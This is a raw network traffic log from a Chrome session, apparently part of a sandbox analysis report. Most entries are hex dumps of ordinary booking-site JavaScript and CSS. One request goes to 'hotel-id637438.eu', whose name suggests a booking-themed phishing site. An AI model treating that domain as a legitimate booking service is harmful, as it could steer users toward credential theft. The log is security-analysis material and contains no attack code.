2024-07-08 22:43:40 UTC	3367	IN	Data Raw: 74 72 6f 6e 67 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 75 6e 69 63 6f 64 65 2d 62 69 64 69 3a 62 69 64 69 2d 6f 76 65 72 72 69 64 65 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 32 30 70 78 29 7b 2e 72 74 6c 20 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 35 36 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 74 6c 20 2e 73 65 63 6f 6e 64 61 72 79 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 72 74 6c 2e 73 65 63 6f 6e 64 61 72 79 2d 6d 65 6e 75 2d 2d 6f 70 65 6e 20 2e 73 65 63 6f 6e 64 61 72 79 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 3a 61 66 74 65 72 7b 6c 65 66 74 3a 31 39 70 78 3b 72 69 67 68 74 3a 61 75 74 6f Data Ascii: trong{direction:ltr;unicode-bidi:bidi-override}@media (min-width:820px){.rtl .main-container{float:left;padding-left:256px;width:100%}.rtl .secondary-navigation-container,.rtl.secondary-menu--open .secondary-navigation-container:after{left:19px;right:auto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49859	104.21.44.120	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	626	OUT	GET /check-online HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pxcts=83ca0815-3d7b-11ef-ac31-1e6eccf31c73; _pxvid=83c9fb64-3d7b-11ef-ac31-449374cdc830; _pxff_fp=1; _pxff_cfp=1; _pxff_ddtc=1; _pxde=2af38ea852447866f9d2c239a94e8b2c33554b7d33e2e024df9327601a6bc9b4:eyJ0aW1lc3RhbXAiOjE3MjA0Nzg2MTczNTAsImZfa2IiOjAsImlwY19pZCI6W119
2024-07-08 22:43:40 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:39 GMT Content-Type: application/json Content-Length: 4 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6gtvwiwXBZ39x6MKZ7SljkwquOV4YBaMtWno6ANNl%2F5Jo7OZ1vP3VTHFFoOtplArK1BLS1mr2FP4B9H%2FfwALTRa7GA7z5NOS16%2FUTCPpGDaSNNKyZMFwCMOcg68sU8oNGr28OA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a03982b0f37c336-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:40 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49855	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	580	OUT	GET /psb/accountsportal/assets/runtime~index_08a2413ae9a3221f32e6.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:40 UTC	683	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4743 Connection: close Date: Mon, 08 Jul 2024 22:43:40 GMT Last-Modified: Mon, 08 Jul 2024 13:49:03 GMT ETag: "84462516a0ddf81f62e35c73886ac6f6" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: kyD4CEhdljtmu29Kc7MVpPOMVHl52luq Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 579fe4b7dcab7e674f31d8cf81d00006.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: 6LVdpQtDPkDxjoq6e5CDLAeNKKZXRINffZRIc_uRjfUuDS2a1wQ8_g== Vary: Origin
2024-07-08 22:43:40 UTC	4743	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 72 2c 6e 2c 6f 2c 69 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 69 5b 65 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 61 29 2c 72 2e 6c 6f 61 64 65 64 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 69 2c 65 3d 5b 5d 2c 61 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 2c 6f 29 7b 69 66 28 21 72 29 7b 76 61 72 20 69 3d 31 Data Ascii: !function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49856	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	570	OUT	GET /psb/accountsportal/assets/842_b7cfe71a24f37e243c53.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:40 UTC	684	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 42648 Connection: close Date: Mon, 08 Jul 2024 22:43:40 GMT Last-Modified: Mon, 08 Jul 2024 13:49:04 GMT ETag: "fcb334f8c6a7c8d6d31e8f5dbd36e605" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: Zsw30B.0DwWrEY61tUCEC4Uk4Zd4tGGF Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 9c179e6b680e230f2cd725d79ae1ba2a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: 5vqWqjwkWZNiYkH-M8fJNvz4YaLnE9iYwLQvYAPMeixrxSVdSQCy6Q== Vary: Origin
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 34 32 5d 2c 7b 36 33 33 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 74 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 21 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 38 38 31 38 34 3a Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[842],{63387:function(t){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},88184:
2024-07-08 22:43:40 UTC	467	IN	Data Raw: 29 2c 72 3d 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 7d 63 61 74 63 68 28 74 29 7b 72 3d 21 30 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 69 28 74 2c 6e 29 2c 72 3f 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 3a 65 28 74 2c 6e 29 2c 74 7d 7d 28 7b 7d 2c 21 31 29 3a 76 6f 69 64 20 30 29 2c 63 68 65 63 6b 3a 69 7d 7d 2c 35 35 37 36 32 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 6e 28 36 37 35 32 36 29 2c 6f 3d 6e 28 34 37 39 36 37 29 2c 69 3d 6e 28 31 37 36 33 29 2c 75 3d 6e 28 36 37 35 37 34 29 28 22 73 70 65 63 69 65 73 22 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 65 5b 74 5d 3b 69 26 Data Ascii: ),r=!(t instanceof Array)}catch(t){r=!0}return function(t,n){return i(t,n),r?t.__proto__=n:e(t,n),t}}({},!1):void 0),check:i}},55762:function(t,r,n){"use strict";var e=n(67526),o=n(47967),i=n(1763),u=n(67574)("species");t.exports=function(t){var r=e[t];i&
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 72 7d 29 7d 7d 2c 34 30 37 36 36 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 76 61 72 20 65 3d 6e 28 34 34 35 35 36 29 28 22 6b 65 79 73 22 29 2c 6f 3d 6e 28 34 34 31 35 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 5b 74 5d 7c 7c 28 65 5b 74 5d 3d 6f 28 74 29 29 7d 7d 2c 34 34 35 35 36 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 76 61 72 20 65 3d 6e 28 35 36 30 39 34 29 2c 6f 3d 6e 28 36 37 35 32 36 29 2c 69 3d 22 5f 5f 63 6f 72 65 2d 6a 73 5f 73 68 61 72 65 64 5f 5f 22 2c 75 3d 6f 5b 69 5d 7c 7c 28 6f 5b 69 5d 3d 7b 7d 29 3b 28 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 72 65 74 75 72 6e 20 75 5b 74 5d 7c 7c 28 75 5b 74 Data Ascii: able:!0,value:r})}},40766:function(t,r,n){var e=n(44556)("keys"),o=n(4415);t.exports=function(t){return e[t]\|\|(e[t]=o(t))}},44556:function(t,r,n){var e=n(56094),o=n(67526),i="__core-js_shared__",u=o[i]\|\|(o[i]={});(t.exports=function(t,r){return u[t]\|\|(u[t
2024-07-08 22:43:40 UTC	2098	IN	Data Raw: 2c 22 4f 62 6a 65 63 74 22 2c 7b 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 72 3f 4f 28 74 29 3a 59 28 4f 28 74 29 2c 72 29 7d 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 58 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 59 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 5a 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3a 74 74 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3a 72 74 7d 29 3b 76 61 72 20 75 74 3d 61 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 41 2e 66 28 31 29 7d 29 29 3b 75 28 75 2e 53 2b 75 2e 46 2a 75 74 2c 22 4f 62 6a 65 63 74 22 2c 7b 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3a Data Ascii: ,"Object",{create:function(t,r){return void 0===r?O(t):Y(O(t),r)},defineProperty:X,defineProperties:Y,getOwnPropertyDescriptor:Z,getOwnPropertyNames:tt,getOwnPropertySymbols:rt});var ut=a((function(){A.f(1)}));u(u.S+u.F*ut,"Object",{getOwnPropertySymbols:
2024-07-08 22:43:40 UTC	7315	IN	Data Raw: 65 6e 75 6d 65 72 61 62 6c 65 26 26 28 6e 5b 73 5d 3d 6f 5b 73 5d 29 7d 7d 72 65 74 75 72 6e 20 6e 7d 74 2e 65 78 70 6f 72 74 73 3d 7b 61 73 73 69 67 6e 3a 72 2c 70 6f 6c 79 66 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 4f 62 6a 65 63 74 2c 22 61 73 73 69 67 6e 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 72 7d 29 7d 7d 7d 2c 37 38 36 32 34 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 21 74 2e 66 65 74 63 68 29 7b 76 61 72 20 72 3d 22 55 52 4c 53 65 61 72 63 68 Data Ascii: enumerable&&(n[s]=o[s])}}return n}t.exports={assign:r,polyfill:function(){Object.assign\|\|Object.defineProperty(Object,"assign",{enumerable:!1,configurable:!0,writable:!0,value:r})}}},78624:function(){!function(t){"use strict";if(!t.fetch){var r="URLSearch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49857	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	570	OUT	GET /psb/accountsportal/assets/826_0cc611c2fdbfa57dfa5d.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:40 UTC	685	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 322389 Connection: close Date: Mon, 08 Jul 2024 22:43:40 GMT Last-Modified: Mon, 08 Jul 2024 13:49:04 GMT ETag: "fcbc6fdaf7580f32fbd1e1e7eacb7ed6" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: aU1lrnPWbAaTu4EoKqqNdAU7zRfQxqFB Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 579fe4b7dcab7e674f31d8cf81d00006.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: TzY_QJQ__Gr2SC_1mKjtWR9QsH3bVHknU-qdx3eUWMldgAGbmoRsDA== Vary: Origin
2024-07-08 22:43:40 UTC	15699	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 38 32 36 5f 30 63 63 36 31 31 63 32 66 64 62 66 61 35 37 64 66 61 35 64 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 32 36 5d 2c 7b 31 30 38 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 826_0cc611c2fdbfa57dfa5d.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[826],{10811:function(e,t,n){"use strict";var r
2024-07-08 22:43:40 UTC	1659	IN	Data Raw: 33 20 31 37 2e 31 37 31 36 43 31 32 34 2e 36 31 39 20 31 36 2e 35 39 35 31 20 31 32 34 2e 35 31 39 20 31 35 2e 39 37 37 38 20 31 32 34 2e 35 35 20 31 35 2e 33 36 43 31 32 34 2e 34 39 38 20 31 34 2e 37 35 30 34 20 31 32 34 2e 35 37 35 20 31 34 2e 31 33 36 35 20 31 32 34 2e 37 37 36 20 31 33 2e 35 35 38 38 43 31 32 34 2e 39 37 38 20 31 32 2e 39 38 31 20 31 32 35 2e 32 39 39 20 31 32 2e 34 35 32 34 20 31 32 35 2e 37 31 39 20 31 32 2e 30 30 37 36 43 31 32 36 2e 31 34 20 31 31 2e 35 36 32 39 20 31 32 36 2e 36 34 39 20 31 31 2e 32 31 32 20 31 32 37 2e 32 31 35 20 31 30 2e 39 37 38 43 31 32 37 2e 37 38 20 31 30 2e 37 34 34 20 31 32 38 2e 33 38 38 20 31 30 2e 36 33 32 32 20 31 32 39 20 31 30 2e 36 35 43 31 32 39 2e 38 34 20 31 30 2e 36 35 20 31 33 30 2e 38 20 31 Data Ascii: 3 17.1716C124.619 16.5951 124.519 15.9778 124.55 15.36C124.498 14.7504 124.575 14.1365 124.776 13.5588C124.978 12.981 125.299 12.4524 125.719 12.0076C126.14 11.5629 126.649 11.212 127.215 10.978C127.78 10.744 128.388 10.6322 129 10.65C129.84 10.65 130.8 1
2024-07-08 22:43:40 UTC	1418	IN	Data Raw: 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 76 67 22 2c 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 78 6d 6c 53 70 61 63 65 3a 22 70 72 65 73 65 72 76 65 22 2c 69 64 3a 22 4c 61 79 65 72 5f 31 22 2c 78 3a 30 2c 79 3a 30 2c 65 6e 61 62 6c 65 42 61 63 6b 67 72 6f 75 6e 64 3a 22 6e 65 77 20 30 20 30 20 38 30 20 38 30 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 38 30 20 38 30 22 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 2c 6e 75 6c 6c 2c 22 2e 73 74 30 7b 66 69 6c 6c 3a 23 46 45 42 42 30 32 3b 7d 5c 6e 5c 74 2e 73 74 31 7b 66 69 6c 6c 3a 23 30 30 33 42 39 35 3b 7d 22 29 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 70 61 74 68 22 2c Data Ascii: urn r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",id:"Layer_1",x:0,y:0,enableBackground:"new 0 0 80 80",viewBox:"0 0 80 80"},r.createElement("style",null,".st0{fill:#FEBB02;}\n\t.st1{fill:#003B95;}"),r.createElement("path",
2024-07-08 22:43:40 UTC	12792	IN	Data Raw: 31 20 30 2d 31 32 20 30 20 36 20 36 20 30 20 30 20 30 20 31 32 20 30 6d 31 2e 34 34 35 20 31 30 2e 35 39 37 63 2d 34 2e 30 38 36 2d 34 2e 31 31 31 2d 31 30 2e 37 33 32 2d 34 2e 31 33 32 2d 31 34 2e 38 34 34 2d 2e 30 34 36 6c 2d 2e 30 34 36 2e 30 34 36 61 2e 37 35 2e 37 35 20 30 20 30 20 30 20 31 2e 30 36 34 20 31 2e 30 35 38 6c 2e 30 34 2d 2e 30 34 61 38 2e 39 39 36 20 38 2e 39 39 36 20 30 20 30 20 31 20 31 32 2e 37 32 32 2e 30 34 2e 37 35 2e 37 35 20 30 20 30 20 30 20 31 2e 30 36 34 2d 31 2e 30 35 38 4d 32 32 2e 35 20 31 32 63 30 20 35 2e 37 39 39 2d 34 2e 37 30 31 20 31 30 2e 35 2d 31 30 2e 35 20 31 30 2e 35 53 31 2e 35 20 31 37 2e 37 39 39 20 31 2e 35 20 31 32 20 36 2e 32 30 31 20 31 2e 35 20 31 32 20 31 2e 35 20 32 32 2e 35 20 36 2e 32 30 31 20 32 32 Data Ascii: 1 0-12 0 6 6 0 0 0 12 0m1.445 10.597c-4.086-4.111-10.732-4.132-14.844-.046l-.046.046a.75.75 0 0 0 1.064 1.058l.04-.04a8.996 8.996 0 0 1 12.722.04.75.75 0 0 0 1.064-1.058M22.5 12c0 5.799-4.701 10.5-10.5 10.5S1.5 17.799 1.5 12 6.201 1.5 12 1.5 22.5 6.201 22
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 76 61 72 20 72 3d 6e 28 36 31 32 35 36 29 3b 63 6f 6e 73 74 20 6f 3d 22 64 61 74 61 2d 62 75 69 2d 74 72 61 70 2d 66 6f 63 75 73 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 3b 6c 65 74 20 61 3d 30 3b 63 6f 6e 73 74 20 69 3d 65 3d 3e 7b 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 5b 24 7b 6f 7d 5d 60 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 65 2e 72 65 6d 6f 76 65 28 29 29 29 7d 2c 6c 3d 65 3d 3e 7b 6c 65 74 20 74 3d 5b 2e 2e 2e 65 5d 3b 72 65 74 75 72 6e 20 74 2e 66 6f 72 45 61 63 68 28 28 28 6e 2c 69 29 3d 3e 7b 69 66 28 22 49 46 52 41 4d 45 22 21 3d 3d 6e 2e 74 61 67 4e 61 6d 65 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 6c 3d 69 3d 3d 3d 65 2e 6c 65 6e 67 74 68 2d 31 2c 7b 69 66 72 61 6d 65 4c 61 62 Data Ascii: ){return i}});var r=n(61256);const o="data-bui-trap-focus-placeholder";let a=0;const i=e=>{e.querySelectorAll(`[${o}]`).forEach((e=>e.remove()))},l=e=>{let t=[...e];return t.forEach(((n,i)=>{if("IFRAME"!==n.tagName)return;const l=i===e.length-1,{iframeLab
2024-07-08 22:43:40 UTC	3592	IN	Data Raw: 61 72 20 4e 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 63 68 69 6c 64 72 65 6e 3a 74 2c 2e 2e 2e 6e 7d 3d 65 2c 7b 73 74 61 72 74 44 61 74 65 3a 6f 2c 65 6e 64 44 61 74 65 3a 61 7d 3d 6e 2c 5b 69 2c 6c 5d 3d 72 2e 75 73 65 53 74 61 74 65 28 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 41 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 7b 2e 2e 2e 6e 2c 68 6f 76 65 72 65 64 44 61 74 65 49 53 4f 3a 69 2c 73 65 74 48 6f 76 65 72 65 64 44 61 74 65 49 53 4f 3a 6c 2c 73 74 61 72 74 44 61 74 65 49 53 4f 3a 6f 26 26 66 28 6f 29 2c 65 6e 64 44 61 74 65 49 53 4f 3a 61 26 26 66 28 61 29 7c 7c 6e 75 6c 6c 7d 7d 2c 74 29 7d 2c 52 3d 28 29 3d 3e 72 2e 75 73 65 43 6f 6e 74 65 78 74 28 41 29 2c 49 3d 6e 28 39 35 37 38 32 29 3b 63 6f 6e Data Ascii: ar N=e=>{const{children:t,...n}=e,{startDate:o,endDate:a}=n,[i,l]=r.useState(null);return r.createElement(A.Provider,{value:{...n,hoveredDateISO:i,setHoveredDateISO:l,startDateISO:o&&f(o),endDateISO:a&&f(a)\|\|null}},t)},R=()=>r.useContext(A),I=n(95782);con
2024-07-08 22:43:40 UTC	12792	IN	Data Raw: 69 72 73 74 44 61 74 65 49 53 4f 3a 6f 2c 66 6f 63 75 73 65 64 44 61 74 65 49 53 4f 3a 61 7d 29 7d 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 3d 31 29 6c 2e 70 75 73 68 28 75 28 74 5b 65 5d 2c 65 29 29 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 74 72 22 2c 7b 6b 65 79 3a 69 2c 63 6c 61 73 73 4e 61 6d 65 3a 43 2e 72 6f 77 7d 2c 6c 29 7d 2c 4c 3d 28 29 3d 3e 7b 63 6f 6e 73 74 7b 64 61 79 4e 61 6d 65 73 3a 65 2c 66 69 72 73 74 57 65 65 6b 44 61 79 3a 74 7d 3d 52 28 29 2c 6e 3d 28 28 65 2c 74 29 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 69 2e 73 6c 69 63 65 28 30 2c 74 29 3b 72 65 74 75 72 6e 5b 2e 2e 2e 69 2e 73 6c 69 63 65 28 74 29 2c 2e 2e 2e 6e 5d 2e 6d 61 70 28 28 74 3d 3e 65 5b 74 5d 29 29 7d 29 Data Ascii: irstDateISO:o,focusedDateISO:a})};for(let e=0;e<t.length;e+=1)l.push(u(t[e],e));return r.createElement("tr",{key:i,className:C.row},l)},L=()=>{const{dayNames:e,firstWeekDay:t}=R(),n=((e,t)=>{const n=i.slice(0,t);return[...i.slice(t),...n].map((t=>e[t]))})
